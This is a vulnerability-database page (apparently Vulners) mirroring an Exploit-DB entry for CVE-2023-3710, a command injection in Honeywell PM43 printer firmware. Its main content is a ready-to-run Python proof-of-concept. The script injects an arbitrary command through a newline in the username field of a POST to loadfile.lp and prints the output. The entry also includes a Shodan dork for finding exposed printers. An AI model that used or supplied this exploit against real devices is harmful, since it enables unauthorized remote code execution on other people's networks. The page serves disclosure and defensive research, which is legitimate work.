Lucene search
+L

Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE)

πŸ—“οΈΒ 14 Mar 2024Β 00:00:00Reported byΒ ByteHunterTypeΒ 
exploitdb
Β exploitdb
πŸ”—Β www.exploit-db.comπŸ‘Β 482Β Views

Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE) - Command Injection in Honeywell PM43 Printers. CVE-2023-3710

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Honeywell PM43 < P10.19.050004 - Remote Code Execution Exploit
14 Mar 202400:00
–zdt
bdu_fstec
BDU FSTEC
The vulnerability of the printer web page module (ARM) of Honeywell PM43, which allows a intruder to execute arbitrary commands
21 Oct 202300:00
–bdu_fstec
circl
Circl
CVE-2023-3710
13 Sep 202300:23
–circl
cnnvd
CNNVD
Honeywell Products Command Injection Vulnerability
12 Sep 202300:00
–cnnvd
cve
CVE
CVE-2023-3710
12 Sep 202319:55
–cve
cvelist
Cvelist
CVE-2023-3710 Printer web page invalid command execution
12 Sep 202319:55
–cvelist
nuclei
Nuclei
Honeywell PM43 Printers - Command Injection
7 Aug 202620:01
–nuclei
nvd
NVD
CVE-2023-3710
12 Sep 202320:15
–nvd
osv
OSV
CVE-2023-3710
12 Sep 202320:15
–osv
packetstorm
Packet Storm
Honeywell PM43 Remote Code Execution
14 Mar 202400:00
–packetstorm
Rows per page
#- Exploit Title: Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE)
#- Shodan Dork: http.title:PM43 , PM43
#- Exploit Author: ByteHunter
#- Email: [email protected]
#- Frimware Version: versions prior to P10.19.050004
#- Tested on: P10.17.019667
#- CVE : CVE-2023-3710


import requests
import argparse

BLUE = '\033[94m'
YELLOW = '\033[93m'
RESET = '\033[0m'

def banner():
    banner = """
    ╔════════════════════════════════════════════════╗
        CVE-2023-3710
        Command Injection in Honeywell PM43 Printers
        Author: ByteHunter
    β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
    """
    print(YELLOW + banner + RESET)


def run_command(url, command):
    full_url = f"{url}/loadfile.lp?pageid=Configure"
    payload = {
        'username': f'hunt\n{command}\n',
        'userpassword': 'admin12345admin!!'
    }
    try:
        response = requests.post(full_url, data=payload, verify=False)
        response_text = response.text
        html_start_index = response_text.find('<html>')
        if html_start_index != -1:
            return response_text[:html_start_index]
        else:
            return response_text
    except requests.exceptions.RequestException as e:
        return f"Error: {e}"

def main():
    parser = argparse.ArgumentParser(description='Command Injection PoC for Honeywell PM43 Printers')
    parser.add_argument('--url', dest='url', help='Target URL', required=True)
    parser.add_argument('--run', dest='command', help='Command to execute', required=True)

    args = parser.parse_args()

    response = run_command(args.url, args.command)
    print(f"{BLUE}{response}{RESET}")

if __name__ == "__main__":
    banner()
    main()

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Mar 2024 00:00Current
8.4High risk
Vulners AI Score8.4
CVSS 3.19.8 - 9.9
EPSS0.33094
SSVC
482